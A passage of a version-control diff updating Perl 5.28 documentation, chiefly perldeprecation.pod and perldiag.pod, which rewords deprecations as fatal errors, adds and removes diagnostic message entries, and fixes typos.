-are in C<tr///>, regular expression pattern matching using quantifiers,
-as quote delimiters in C<qI<X>...I<X>> (where I<X> is the C<chr()> of a large
-code point), and as the upper limits in loops.
+Unicode only allows code points up to 0x10FFFF, but Perl allows
+much larger ones. Up till Perl 5.28, it was allowed to use code
+points exceeding the maximum value of an integer (C<IV_MAX>).
+However, that did break the perl interpreter in some constructs,
+including causing it to hang in a few cases.  The known problem
+areas were in C<tr///>, regular expression pattern matching using
+quantifiers, as quote delimiters in C<qI<X>...I<X>> (where I<X> is
+the C<chr()> of a large code point), and as the upper limits in
+loops.
 
-The use of out of range code points was deprecated in Perl 5.24, and
-it will be a fatal error in Perl 5.28.
+The use of out of range code points was deprecated in Perl 5.24; as of
+Perl 5.28 using a code point exceeding C<IV_MAX> throws a fatal error.
 
 If your code is to run on various platforms, keep in mind that the upper
-limit depends on the platform.  It is much larger on 64-bit word sizes
-than 32-bit ones.
+limit depends on the platform. It is much larger on 64-bit word sizes
+than 32-bit ones. For 32-bit integers, C<IV_MAX> equals C<0x7FFFFFFF>,
+for 64-bit integers, C<IV_MAX> equals C<0x7FFFFFFFFFFFFFFF>.
 
 
 =head3 Use of comma-less variable list in formats.
 
-It's allowed to use a list of variables in a format, without
+It was allowed to use a list of variables in a format, without
 separating them with commas. This usage has been deprecated
-for a long time, and it will be a fatal error in Perl 5.28.
+for a long time, and as of Perl 5.28, this throws a fatal error.
 
-
-
 =head3 Use of C<\N{}>
 
 Use of C<\N{}> with nothing between the braces was deprecated in
-Perl 5.24, and will throw a fatal error in Perl 5.28.
+Perl 5.24, and throws a fatal error as of Perl 5.28.
 
 Since such a construct is equivalent to using an empty string,
 you are recommended to remove such C<\N{}> constructs.
 
-
 =head3 Using the same symbol to open a filehandle and a dirhandle
 
 It used to be legal to use C<open()> to associate both a
@@ -342,7 +391,7 @@
 Perl 5.10.
 
 Using the same symbol to C<open()> a filehandle and a dirhandle
-will be a fatal error in Perl 5.28.
+throws a fatal error as of Perl 5.28.
 
 You should be using two different symbols instead.
 
@@ -353,26 +402,27 @@
 than C<undef> was deprecated in Perl 5.22. Full deprecation
 of the variable happened in Perl 5.25.3.
 
-Setting this variable will become a fatal error in Perl 5.28.
+Setting this variable to anything other than an undefined value
+throws a fatal error as of Perl 5.28.
 
 
 =head3 C<< B::OP::terse >>
 
 This method, which just calls C<< B::Concise::b_terse >>, has been
-deprecated, and will disappear in Perl 5.28. Please use 
+deprecated, and disappeared in Perl 5.28. Please use 
 C<< B::Concise >> instead.
 
 
 
-=head3 Use of inherited AUTOLOAD for non-method %s() is deprecated
+=head3 Use of inherited AUTOLOAD for non-method %s::%s() is no longer allowed
 
-As an (ahem) accidental feature, C<AUTOLOAD> subroutines are looked
+As an (ahem) accidental feature, C<AUTOLOAD> subroutines were looked
 up as methods (using the C<@ISA> hierarchy) even when the subroutines
 to be autoloaded were called as plain functions (e.g. C<Foo::bar()>),
 not as methods (e.g. C<< Foo->bar() >> or C<< $obj->bar() >>).
 
-This bug will be rectified in future by using method lookup only for
-methods' C<AUTOLOAD>s.
+This bug was deprecated in Perl 5.004, has been rectified in Perl 5.28
+by using method lookup only for methods' C<AUTOLOAD>s.
 
 The simple rule is:  Inheritance will not work when autoloading
 non-methods.  The simple fix for old code is:  In any module that used
@@ -384,19 +434,17 @@
 you should remove AutoLoader from @ISA and change C<use AutoLoader;> to
 C<use AutoLoader 'AUTOLOAD';>.
 
-This feature was deprecated in Perl 5.004, and will be fatal in Perl 5.28.
 
-
 =head3 Use of code points over 0xFF in string bitwise operators
 
 The string bitwise operators, C<&>, C<|>, C<^>, and C<~>, treat
 their operands as strings of bytes. As such, values above 0xFF 
 are nonsensical. Using such code points with these operators
-was deprecated in Perl 5.24, and will be fatal in Perl 5.28.
+was deprecated in Perl 5.24, and is fatal as of Perl 5.28.
 
 =head3 In XS code, use of C<to_utf8_case()>
 
-This function is being removed; instead convert to call
+This function has been removed as of Perl 5.28; instead convert to call
 the appropriate one of:
 L<C<toFOLD_utf8_safe>|perlapi/toFOLD_utf8_safe>.
 L<C<toLOWER_utf8_safe>|perlapi/toLOWER_utf8_safe>,
@@ -411,13 +459,13 @@
 Since Perl 5.18, the option C<< --libpods >> has been deprecated, and
 using this option did not do anything other than producing a warning.
 
-The C<< --libpods >> option is no longer recognized in Perl 5.26.
+The C<< --libpods >> option is no longer recognized as of Perl 5.26.
 
 
 =head3 The utilities C<< c2ph >> and C<< pstruct >>
 
 These old, perl3-era utilities have been deprecated in favour of
-C<< h2xs >> for a long time. In Perl 5.26, they have been removed.
+C<< h2xs >> for a long time. As of Perl 5.26, they have been removed.
 
 
 =head3 Trapping C<< $SIG {__DIE__} >> other than during program exit.
@@ -431,7 +479,7 @@
 
 Perl never issued a deprecation warning for this; the deprecation
 was by documentation policy only. But this deprecation has been 
-lifted in Perl 5.26.
+lifted as of Perl 5.26.
 
 
 =head3 Malformed UTF-8 string in "%s"

Modified: vendor/perl/dist/pod/perldiag.pod
===================================================================
--- vendor/perl/dist/pod/perldiag.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perldiag.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -314,7 +314,7 @@
 
 (F) You wrote C<bless $foo> with one argument after somehow causing
 the current package to be freed.  Perl cannot figure out what to
-do, so it throws up in hands in despair.
+do, so it throws up its hands in despair.
 
 =item Attempt to bless into a reference
 
@@ -418,13 +418,6 @@
 used as an lvalue, which is pretty strange.  Perhaps you forgot to
 dereference it first.  See L<perlfunc/substr>.
 
-=item Attribute "locked" is deprecated, and will disappear in Perl 5.28
-
-(D deprecated) You have used the attributes pragma to modify the
-"locked" attribute on a code reference.  The :locked attribute is
-obsolete, has had no effect since 5005 threads were removed, and
-will be removed in a Perl 5.28.
-
 =item Attribute prototype(%s) discards earlier prototype attribute in same sub
 
 (W misc) A sub was declared as sub foo : prototype(A) : prototype(B) {}, for
@@ -431,13 +424,6 @@
 example.  Since each sub can only have one prototype, the earlier
 declaration(s) are discarded while the last one is applied.
 
-=item Attribute "unique" is deprecated, and will disappear in Perl 5.28
-
-(D deprecated) You have used the attributes pragma to modify
-the "unique" attribute on an array, hash or scalar reference.
-The :unique attribute has had no effect since Perl 5.8.8, and
-will be removed in a Perl 5.28.
-
 =item av_reify called on tied array
 
 (S debugging) This indicates that something went wrong and Perl got I<very>
@@ -670,6 +656,13 @@
 
 (F) You passed an invalid number (like an infinity or not-a-number) to C<chr>.
 
+=item Cannot complete in-place edit of %s: %s
+
+(F) Your perl script appears to have changed directory while
+performing an in-place edit of a file specified by a relative path,
+and your system doesn't include the directory relative POSIX functions
+needed to handle that.
+
 =item Cannot compress %f in pack
 
 (F) You tried compressing an infinity or not-a-number as an unsigned
@@ -704,6 +697,20 @@
 (S io) You tried to apply an encoding that did not exist to a filehandle,
 either with open() or binmode().
 
+=item Cannot open %s as a dirhandle: it is already open as a filehandle
+
+(F) You tried to use opendir() to associate a dirhandle to a symbol (glob
+or scalar) that already holds a filehandle.  Since this idiom might render
+your code confusing, it was deprecated in Perl 5.10.  As of Perl 5.28, it
+is a fatal error.
+
+=item Cannot open %s as a filehandle: it is already open as a dirhandle
+
+(F) You tried to use open() to associate a filehandle to a symbol (glob
+or scalar) that already holds a dirhandle.  Since this idiom might render
+your code confusing, it was deprecated in Perl 5.10.  As of Perl 5.28, it
+is a fatal error.
+
 =item Cannot pack %f with '%c'
 
 (F) You tried converting an infinity or not-a-number to an integer,
@@ -1024,6 +1031,25 @@
 (P) An error peculiar to VMS.  Perl asked $GETSYI how big you want your
 mailbox buffers to be, and didn't get an answer.
 
+=item Can't "goto" into a binary or list expression
+
+(F) A "goto" statement was executed to jump into the middle of a binary
+or list expression.  You can't get there from here.  The reason for this
+restriction is that the interpreter would get confused as to how many
+arguments there are, resulting in stack corruption or crashes.  This
+error occurs in cases such as these:
+
+    goto F;
+    print do { F: }; # Can't jump into the arguments to print
+
+    goto G;
+    $x + do { G: $y }; # How is + supposed to get its first operand?
+
+=item Can't "goto" into a "given" block
+
+(F) A "goto" statement was executed to jump into the middle of a C<given>
+block.  You can't get there from here.  See L<perlfunc/goto>.
+
 =item Can't "goto" into the middle of a foreach loop
 
 (F) A "goto" statement was executed to jump into the middle of a foreach
@@ -1180,6 +1206,8 @@
 
 =item Can't modify non-lvalue subroutine call of &%s
 
+=item Can't modify non-lvalue subroutine call of &%s in %s
+
 (F) Subroutines meant to be used in lvalue context should be declared as
 such.  See L<perlsub/"Lvalue subroutines">.
 
@@ -1307,9 +1335,14 @@
 file.  Perl was unable to remove the original file to replace it with
 the modified file.  The file was left unmodified.
 
+=item Can't rename in-place work file '%s' to '%s': %s
+
+(F) When closed implicitly, the temporary file for in-place editing
+couldn't be renamed to the original filename.
+
 =item Can't rename %s to %s: %s, skipping file
 
-(S inplace) The rename done by the B<-i> switch failed for some reason,
+(F) The rename done by the B<-i> switch failed for some reason,
 probably because you don't have write permission to the directory.
 
 =item Can't reopen input pipe (name: %s) in binary mode
@@ -1380,6 +1413,11 @@
 however, redefine it while it's running, and you can even undef the
 redefined subroutine while the old routine is running.  Go figure.
 
+=item Can't unweaken a nonreference
+
+(F) You attempted to unweaken something that was not a reference.  Only
+references can be unweakened.
+
 =item Can't upgrade %s (%d) to %d
 
 (P) The internal sv_upgrade routine adds "members" to an SV, making it
@@ -1633,7 +1671,8 @@
 
    unpack("s", "\x{f3}b")
 
-=item charnames alias definitions may not contain a sequence of multiple spaces
+=item charnames alias definitions may not contain a sequence of multiple
+spaces; marked by S<<-- HERE> in %s
 
 (F) You defined a character name which had multiple space characters
 in a row.  Change them to single spaces.  Usually these names are
@@ -1641,7 +1680,8 @@
 could be defined by a translator installed into C<$^H{charnames}>.  See
 L<charnames/CUSTOM ALIASES>.
 
-=item charnames alias definitions may not contain trailing white-space
+=item charnames alias definitions may not contain trailing white-space;
+marked by S<<-- HERE> in %s
 
 (F) You defined a character name which ended in a space
 character.  Remove the trailing space(s).  Usually these names are
@@ -1954,17 +1994,6 @@
 (F) You said something like "use Module 42" but in the Module file
 there are neither package declarations nor a C<$VERSION>.
 
-=item delete argument is index/value array slice, use array slice
-
-(F) You used index/value array slice syntax (C<%array[...]>) as
-the argument to C<delete>.  You probably meant C<@array[...]> with
-an @ symbol instead.
-
-=item delete argument is key/value hash slice, use hash slice
-
-(F) You used key/value hash slice syntax (C<%hash{...}>) as the argument to
-C<delete>.  You probably meant C<@hash{...}> with an @ symbol instead.
-
 =item delete argument is not a HASH or ARRAY element or slice
 
 (F) The argument to C<delete> must be either a hash or array element,
@@ -1978,6 +2007,11 @@
     @foo[$bar, $baz, $xyzzy]
     @{$ref->[12]}{"susie", "queue"}
 
+or a hash key/value or array index/value slice, such as:
+
+    %foo[$bar, $baz, $xyzzy]
+    %{$ref->[12]}{"susie", "queue"}
+
 =item Delimiter for here document is too long
 
 (F) In a here document construct like C<<<FOO>, the label C<FOO> is too
@@ -2032,7 +2066,7 @@
 
 =item (Did you mean "local" instead of "our"?)
 
-(W misc) Remember that "our" does not localize the declared global
+(W shadow) Remember that "our" does not localize the declared global
 variable.  You have declared it again in the same lexical scope, which
 seems superfluous.
 
@@ -2132,12 +2166,13 @@
 described in L<perlunicode> and L<perlre>.  You used C<\p> or C<\P> in
 a regular expression without specifying the property name.
 
-=item ${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28
+=item ${^ENCODING} is no longer supported
 
-(D deprecated) The special variable C<${^ENCODING}>, formerly used to implement
+(F) The special variable C<${^ENCODING}>, formerly used to implement
 the C<encoding> pragma, is no longer supported as of Perl 5.26.0.
 
-Setting this variable will become a fatal error in Perl 5.28.
+Setting it to anything other than C<undef> is a fatal error as of Perl
+5.28.
 
 =item entering effective %s failed
 
@@ -2255,6 +2290,26 @@
 L<C<(?I<PARNO>)>|perlre/(?PARNO) (?-PARNO) (?+PARNO) (?R) (?0)>,
 but omitted the C<")">.
 
+=item Expecting close paren for nested extended charclass in regex; marked
+by <-- HERE in m/%s/
+
+(F) While parsing a nested extended character class like:
+
+    (?[ ... (?flags:(?[ ... ])) ... ])
+                             ^
+
+we expected to see a close paren ')' (marked by ^) but did not.
+
+=item Expecting close paren for wrapper for nested extended charclass in
+regex; marked by <-- HERE in m/%s/
+
+(F) While parsing a nested extended character class like:
+
+    (?[ ... (?flags:(?[ ... ])) ... ])
+                              ^
+
+we expected to see a close paren ')' (marked by ^) but did not.
+
 =item Expecting '(?flags:(?[...' in regex; marked by S<<-- HERE> in m/%s/
 
 (F) The C<(?[...])> extended character class regular expression construct
@@ -2307,7 +2362,7 @@
 CHECK, INIT, or END subroutine.  Processing of the remainder of the
 queue of such routines has been prematurely ended.
 
-=item Failed to close in-place edit file %s: %s
+=item Failed to close in-place work file %s: %s
 
 (F) Closing an output file from in-place editing, as with the C<-i>
 command-line switch, failed.
@@ -2611,7 +2666,7 @@
 class its behavior is not well defined.  Check that the correct
 escape has been used, and the correct charname handler is in scope.
 
-=item Illegal binary digit %s
+=item Illegal binary digit '%c'
 
 (F) You used a digit other than 0 or 1 in a binary number.
 
@@ -2691,7 +2746,7 @@
 (F) The number of bits in vec() (the third argument) must be a power of
 two from 1 to 32 (or 64, if your platform supports that).
 
-=item Illegal octal digit %s
+=item Illegal octal digit '%c'
 
 (F) You used an 8 or 9 in an octal number.
 
@@ -2700,6 +2755,17 @@
 (W digit) You may have tried to use an 8 or 9 in an octal number.
 Interpretation of the octal number stopped before the 8 or 9.
 
+=item Illegal operator following parameter in a subroutine signature
+
+(F) A parameter in a subroutine signature, was followed by something
+other than C<=> introducing a default, C<,> or C<)>.
+
+    use feature 'signatures';
+    sub foo ($=1) {}           # legal
+    sub foo ($a = 1) {}        # legal
+    sub foo ($a += 1) {}       # illegal
+    sub foo ($a == 1) {}       # illegal
+
 =item Illegal pattern in regex; marked by S<<-- HERE> in m/%s/
 
 (F) You wrote something like
@@ -2793,13 +2859,20 @@
 text.  You should check the pattern to ensure that recursive patterns
 either consume text or fail.
 
-=item Initialization of state variables in list context currently forbidden
+=item Infinite recursion via empty pattern
 
-(F) C<state> only permits initializing a single scalar variable, in scalar
-context.  So C<state $a = 42> is allowed, but not C<state ($a) = 42>.  To apply
-state semantics to a hash or array, store a hash or array reference in a
-scalar variable.
+(F) You tried to use the empty pattern inside of a regex code block,
+for instance C</(?{ s!!! })/>, which resulted in re-executing
+the same pattern, which is an infinite loop which is broken by
+throwing an exception.
 
+=item Initialization of state variables in list currently forbidden
+
+(F) C<state> only permits initializing a single variable, specified
+without parentheses.  So C<state $a = 42> and C<state @a = qw(a b c)> are
+allowed, but not C<state ($a) = 42> or C<(state $a) = 42>.  To initialize
+more than one C<state> variable, initialize them one at a time.
+
 =item %%s[%s] in scalar context better written as $%s[%s]
 
 (W syntax) In scalar context, you've used an array index/value slice
@@ -2936,6 +3009,14 @@
 intervening between the C<"("> and the C<"?">, but you separated them
 with whitespace.
 
+=item In '(*...)', the '(' and '*' must be adjacent in regex;
+marked by S<<-- HERE> in m/%s/
+
+(F) The two-character sequence C<"(*"> in this context in a regular
+expression pattern should be an indivisible token, with nothing
+intervening between the C<"("> and the C<"*">, but you separated them.
+Fix the pattern and retry.
+
 =item Invalid %s attribute: %s
 
 (F) The indicated attribute for a subroutine or variable was not recognized
@@ -3093,10 +3174,9 @@
 =item In '(*VERB...)', the '(' and '*' must be adjacent in regex;
 marked by S<<-- HERE> in m/%s/
 
-(F) The two-character sequence C<"(*"> in
-this context in a regular expression pattern should be an
-indivisible token, with nothing intervening between the C<"(">
-and the C<"*">, but you separated them.
+(F) The two-character sequence C<"(*"> in this context in a regular
+expression pattern should be an indivisible token, with nothing
+intervening between the C<"("> and the C<"*">, but you separated them.
 
 =item ioctl is not implemented
 
@@ -3150,9 +3230,8 @@
 
 (W regexp) (only under C<S<use re 'strict'>> or within C<(?[...])>)
 
-You specified a character that has the given plainer way of writing it,
-and which is also portable to platforms running with different character
-sets.
+You specified a character that has the given plainer way of writing it, and
+which is also portable to platforms running with different character sets.
 
 =item $* is no longer supported. Its use will be fatal in Perl 5.30
 
@@ -3268,6 +3347,22 @@
 form of C<open> does not support pipes, such as C<open($pipe, '|-', @args)>.
 Use the two-argument C<open($pipe, '|prog arg1 arg2...')> form instead.
 
+=item Literal vertical space in [] is illegal except under /x in regex;
+marked by S<<-- HERE> in m/%s/
+
+(F) (only under C<S<use re 'strict'>> or within C<(?[...])>)
+
+Likely you forgot the C</x> modifier or there was a typo in the pattern.
+For example, did you really mean to match a form-feed?  If so, all the
+ASCII vertical space control characters are representable by escape
+sequences which won't present such a jarring appearance as your pattern
+does when displayed.
+
+  \r    carriage return
+  \f    form feed
+  \n    line feed
+  \cK   vertical tab
+
 =item %s: loadable library and perl binaries are mismatched (got handshake key %p, needed %p)
 
 (P) A dynamic loading library C<.so> or C<.dll> was being loaded into the
@@ -3275,6 +3370,45 @@
 said library was compiled against.  Reinstalling the XS module will
 likely fix this error.
 
+=item Locale '%s' contains (at least) the following characters which
+have unexpected meanings: %s  The Perl program will use the expected
+meanings
+
+(W locale) You are using the named UTF-8 locale.  UTF-8 locales are
+expected to have very particular behavior, which most do.  This message
+arises when perl found some departures from the expectations, and is
+notifying you that the expected behavior overrides these differences.
+In some cases the differences are caused by the locale definition being
+defective, but the most common causes of this warning are when there are
+ambiguities and conflicts in following the Standard, and the locale has
+chosen an approach that differs from Perl's.
+
+One of these is because that, contrary to the claims, Unicode is not
+completely locale insensitive.  Turkish and some related languages
+have two types of C<"I"> characters.  One is dotted in both upper- and
+lowercase, and the other is dotless in both cases.  Unicode allows a
+locale to use either the Turkish rules, or the rules used in all other
+instances, where there is only one type of C<"I">, which is dotless in
+the uppercase, and dotted in the lower.  The perl core does not (yet)
+handle the Turkish case, and this message warns you of that.  Instead,
+the L<Unicode::Casing> module allows you to mostly implement the Turkish
+casing rules.
+
+The other common cause is for the characters
+
+ $ + < = > ^ ` | ~
+
+These are probematic.  The C standard says that these should be
+considered punctuation in the C locale (and the POSIX standard defers to
+the C standard), and Unicode is generally considered a superset of
+the C locale.  But Unicode has added an extra category, "Symbol", and
+classifies these particular characters as being symbols.  Most UTF-8
+locales have them treated as punctuation, so that L<ispunct(2)> returns
+non-zero for them.  But a few locales have it return 0.   Perl takes
+the first approach, not using C<ispunct()> at all (see L<Note [5] in
+perlrecharclass|perlrecharclass/[5]>), and this message is raised to notify you that you
+are getting Perl's approach, not the locale's.
+
 =item Locale '%s' may not work well.%s
 
 (W locale) You are using the named locale, which is a non-UTF-8 one, and
@@ -3412,13 +3546,12 @@
 the variable, C<%s>, part of the message.
 
 One possible cause is that you set the UTF8 flag yourself for data that
-you thought to be in UTF-8 but it wasn't (it was for example legacy
-8-bit data).  To guard against this, you can use C<Encode::decode('UTF-8', ...)>.
+you thought to be in UTF-8 but it wasn't (it was for example legacy 8-bit
+data).  To guard against this, you can use C<Encode::decode('UTF-8', ...)>.
 
 If you use the C<:encoding(UTF-8)> PerlIO layer for input, invalid byte
-sequences are handled gracefully, but if you use C<:utf8>, the flag is
-set without validating the data, possibly resulting in this error
-message.
+sequences are handled gracefully, but if you use C<:utf8>, the flag is set
+without validating the data, possibly resulting in this error message.
 
 See also L<Encode/"Handling Malformed Data">.
 
@@ -3426,6 +3559,19 @@
 
 (F) The charnames handler returned malformed UTF-8.
 
+=item Malformed UTF-8 string in "%s"
+
+(F) This message indicates a bug either in the Perl core or in XS
+code. Such code was trying to find out if a character, allegedly
+stored internally encoded as UTF-8, was of a given type, such as
+being punctuation or a digit.  But the character was not encoded
+in legal UTF-8.  The C<%s> is replaced by a string that can be used
+by knowledgeable people to determine what the type being checked
+against was.
+
+Passing malformed strings was deprecated in Perl 5.18, and
+became fatal in Perl 5.26.
+
 =item Malformed UTF-8 string in '%c' format in unpack
 
 (F) You tried to unpack something that didn't comply with UTF-8 encoding
@@ -3441,19 +3587,6 @@
 (F) You tried to unpack something that didn't comply with UTF-8 encoding
 rules and perl was unable to guess how to make more progress.
 
-=item Malformed UTF-8 string in "%s"
-
-(F) This message indicates a bug either in the Perl core or in XS
-code. Such code was trying to find out if a character, allegedly
-stored internally encoded as UTF-8, was of a given type, such as
-being punctuation or a digit.  But the character was not encoded
-in legal UTF-8.  The C<%s> is replaced by a string that can be used
-by knowledgeable people to determine what the type being checked
-against was.
-
-Passing malformed strings was deprecated in Perl 5.18, and
-became fatal in Perl 5.26.
-
 =item Malformed UTF-16 surrogate
 
 (F) Perl thought it was reading UTF-16 encoded character data but while
@@ -3473,7 +3606,7 @@
 
 (S non_unicode) Perl allows strings to contain a superset of
 Unicode code points; each code point may be as large as what is storable
-in an unsigned integer on your system, but these may not be accepted by
+in a signed integer on your system, but these may not be accepted by
 other languages/systems.  This message occurs when you matched a string
 containing such a code point against a regular expression pattern, and
 the code point was matched against a Unicode property, C<\p{...}> or
@@ -3547,6 +3680,11 @@
 (W syntax) An underscore (underbar) in a numeric constant did not
 separate two digits.
 
+=item Missing argument for %n in %s
+
+(F) A C<%n> was used in a format string with no corresponding argument for
+perl to write the current string length to.
+
 =item Missing argument in %s
 
 (W missing) You called a function with fewer arguments than other
@@ -3761,7 +3899,7 @@
 
 (F) Transliteration (C<tr///> and C<y///>) transliterates individual
 characters.  But a named sequence by definition is more than an
-individual charater, and hence doing this operation on it doesn't make
+individual character, and hence doing this operation on it doesn't make
 sense.
 
 =item "my sub" not yet implemented
@@ -4060,11 +4198,13 @@
 redirection, and found a '>' or a '>>' on the command line, but can't
 find the name of the file to which to write data destined for stdout.
 
+=item No package name allowed for subroutine %s in "our"
+
 =item No package name allowed for variable %s in "our"
 
-(F) Fully qualified variable names are not allowed in "our"
-declarations, because that doesn't make much sense under existing
-rules.  Such syntax is reserved for future extensions.
+(F) Fully qualified subroutine and variable names are not allowed in "our"
+declarations, because that doesn't make much sense under existing rules.
+Such syntax is reserved for future extensions.
 
 =item No Perl script found in input
 
@@ -4133,7 +4273,7 @@
 =item '#' not allowed immediately following a sigil in a subroutine signature
 
 (F) In a subroutine signature definition, a comment following a sigil
-(C<$>, C<@> or C<%>), needs to be separated by whitespace or a commma etc., in
+(C<$>, C<@> or C<%>), needs to be separated by whitespace or a comma etc., in
 particular to avoid confusion with the C<$#> variable.  For example:
 
     # bad
@@ -4276,6 +4416,13 @@
 for I/O (in anticipation of future reads and to imitate the behavior
 with real files).
 
+=item Old package separator used in string
+
+(W syntax) You used the old package separator, "'", in a variable
+named inside a double-quoted string; e.g., C<"In $name's house">.  This
+is equivalent to C<"In $name::s house">.  If you meant the former, put
+a backslash before the apostrophe (C<"In $name\'s house">).
+
 =item %s() on unopened %s
 
 (W unopened) An I/O operation was attempted on a filehandle that was
@@ -4295,22 +4442,6 @@
 
 (S internal) An internal warning that the grammar is screwed up.
 
-=item Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28
-
-(D io, deprecated) You used open() to associate a filehandle to
-a symbol (glob or scalar) that already holds a dirhandle.
-Although legal, this idiom might render your code confusing
-and this was deprecated in Perl 5.10. In Perl 5.28, this 
-will be a fatal error.
-
-=item Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28
-
-(D io, deprecated) You used opendir() to associate a dirhandle to
-a symbol (glob or scalar) that already holds a filehandle.
-Although legal, this idiom might render your code confusing
-and this was deprecated in Perl 5.10. In Perl 5.28, this 
-will be a fatal error.
-
 =item Operand with no preceding operator in regex; marked by S<<-- HERE> in
 m/%s/
 
@@ -4372,7 +4503,7 @@
 
 =item "our" variable %s redeclared
 
-(W misc) You seem to have already declared the same global once before
+(W shadow) You seem to have already declared the same global once before
 in the current lexical scope.
 
 =item Out of memory!
@@ -5209,6 +5340,11 @@
 (W misc) You have attempted to weaken a reference that is already weak.
 Doing so has no effect.
 
+=item Reference is not weak
+
+(W misc) You have attempted to unweaken a reference that is not weak.
+Doing so has no effect.
+
 =item Reference to invalid group 0 in regex; marked by S<<-- HERE> in m/%s/
 
 (F) You used C<\g0> or similar in a regular expression.  You may refer
@@ -5303,6 +5439,11 @@
 search list.  So the additional elements in the replacement list
 are meaningless.
 
+=item '(*%s' requires a terminating ':' in regex; marked by <-- HERE in m/%s/
+
+(F) You used a construct that needs a colon and pattern argument.
+Supply these or check that you are using the right construct.
+
 =item '%s' resolved to '\o{%s}%d'
 
 (W misc, regexp)  You wrote something like C<\08>, or C<\179> in a
@@ -5570,21 +5711,20 @@
 forget to check the return value of your socket() call?  See
 L<perlfunc/setsockopt>.
 
-=item Setting $/ to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28
+=item Setting $/ to a reference to %s is forbidden
 
-(D deprecated) You assigned a reference to a scalar to C<$/> where the
-referenced item is not a positive integer.  In older perls this B<appeared>
-to work the same as setting it to C<undef> but was in fact internally
-different, less efficient and with very bad luck could have resulted in
-your file being split by a stringified form of the reference.
+(F) You assigned a reference to a scalar to C<$/> where the referenced item is
+not a positive integer.  In older perls this B<appeared> to work the same as
+setting it to C<undef> but was in fact internally different, less efficient
+and with very bad luck could have resulted in your file being split by a
+stringified form of the reference.
 
 In Perl 5.20.0 this was changed so that it would be B<exactly> the same as
-setting C<$/> to undef, with the exception that this warning would be
-thrown.
+setting C<$/> to undef, with the exception that this warning would be thrown.
 
-You are recommended to change your code to set C<$/> to C<undef> explicitly
-if you wish to slurp the file.  In Perl 5.28 assigning C<$/> to a 
-reference to an integer which isn't positive will throw a fatal error.
+You are recommended to change your code to set C<$/> to C<undef> explicitly if
+you wish to slurp the file.  As of Perl 5.28 assigning C<$/> to a reference
+to an integer which isn't positive is a fatal error.
 
 =item Setting $/ to %s reference is forbidden
 
@@ -5654,6 +5794,13 @@
 unnecessarily complex and unintuitive, and is very likely to be
 overhauled.
 
+=item Sorry, hash keys must be smaller than 2**31 bytes
+
+(F) You tried to create a hash containing a very large key, where "very
+large" means that it needs at least 2 gigabytes to store. Unfortunately,
+Perl doesn't yet handle such large hash keys. You should
+reconsider your design to avoid hashing such a long string directly.
+
 =item sort is now a reserved word
 
 (F) An ancient error message that almost nobody ever runs into anymore.
@@ -5724,6 +5871,15 @@
 stubs.  Stubs should never be implicitly created, but explicit calls to
 C<can> may break this.
 
+=item Subroutine attributes must come before the signature
+
+(F) When subroutine signatures are enabled, any subroutine attributes must
+come before the signature. Note that this order was the opposite in
+versions 5.22..5.26. So:
+
+    sub foo :lvalue ($a, $b) { ... }  # 5.20 and 5.28 +
+    sub foo ($a, $b) :lvalue { ... }  # 5.22 .. 5.26
+
 =item Subroutine "&%s" is not available
 
 (W closure) During compilation, an inner named subroutine or eval is
@@ -5756,7 +5912,7 @@
 
 =item "%s" subroutine &%s masks earlier declaration in same %s
 
-(W misc) A "my" or "state" subroutine has been redeclared in the
+(W shadow) A "my" or "state" subroutine has been redeclared in the
 current scope or statement, effectively eliminating all access to
 the previous instance.  This is almost always a typographical error.
 Note that the earlier subroutine will still exist until the end of
@@ -5904,7 +6060,7 @@
 a perl4 interpreter, especially if the next 2 tokens are "use strict"
 or "my $var" or "our $var".
 
-=item Syntax error in (?[...]) in regex m/%s/
+=item Syntax error in (?[...]) in regex; marked by <-- HERE in m/%s/
 
 (F) Perl could not figure out what you meant inside this construct; this
 notifies you that it is giving up trying.
@@ -5968,18 +6124,12 @@
 This is to prevent the problem of one module changing the array base out
 from under another module inadvertently.  See L<perlvar/$[> and L<arybase>.
 
-=item The bitwise feature is experimental
+=item The alpha_assertions feature is experimental
 
-(S experimental::bitwise) This warning is emitted if you use bitwise
-operators (C<& | ^ ~ &. |. ^. ~.>) with the "bitwise" feature enabled.
-Simply suppress the warning if you want to use the feature, but know
-that in doing so you are taking the risk of using an experimental
-feature which may change or be removed in a future Perl version:
+(S experimental::alpha_assertions) This feature is experimental
+and its behavior may change in any future release of perl.  See
+L<perlre/Extended Patterns>.
 
-    no warnings "experimental::bitwise";
-    use feature "bitwise";
-    $x |.= $y;
-
 =item The crypt() function is unimplemented due to excessive paranoia.
 
 (F) Configure couldn't find the crypt() function on your machine,
@@ -6006,7 +6156,7 @@
 (S experimental::regex_sets) This warning is emitted if you
 use the syntax S<C<(?[   ])>> in a regular expression.
 The details of this feature are subject to change.
-if you want to use it, but know that in doing so you
+If you want to use it, but know that in doing so you
 are taking the risk of using an experimental feature which may
 change in a future Perl version, you can do this to silence the
 warning:
@@ -6013,6 +6163,12 @@
 
     no warnings "experimental::regex_sets";
 
+=item The script_run feature is experimental
+
+(S experimental::script_run) This feature is experimental
+and its behavior may in any future release of perl.  See
+L<perlre/Script Runs>.
+
 =item The signatures feature is experimental
 
 (S experimental::signatures) This warning is emitted if you unwrap a
@@ -6095,13 +6251,12 @@
 
 =item Too few arguments for subroutine '%s'
 
-(F) A subroutine using a signature received too few arguments than
-required by the signature.  The caller of the subroutine is presumably
-at fault.
+(F) A subroutine using a signature fewer arguments than required by the
+signature.  The caller of the subroutine is presumably at fault.
 
-The message attempts to include the name of the called subroutine. If the
-subroutine has been aliased, the subroutine's original name will be shown,
-regardless of what name the caller used.
+The message attempts to include the name of the called subroutine.  If
+the subroutine has been aliased, the subroutine's original name will be
+shown, regardless of what name the caller used.
 
 =item Too late for "-%s" option
 
@@ -6135,9 +6290,8 @@
 
 =item Too many arguments for subroutine '%s'
 
-(F) A subroutine using a signature received too many arguments than
-required by the signature.  The caller of the subroutine is presumably
-at fault.
+(F) A subroutine using a signature received more arguments than permitted
+by the signature.  The caller of the subroutine is presumably at fault.
 
 The message attempts to include the name of the called subroutine. If the
 subroutine has been aliased, the subroutine's original name will be shown,
@@ -6267,6 +6421,8 @@
 
 =item Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<<-- HERE> in m/%s/
 
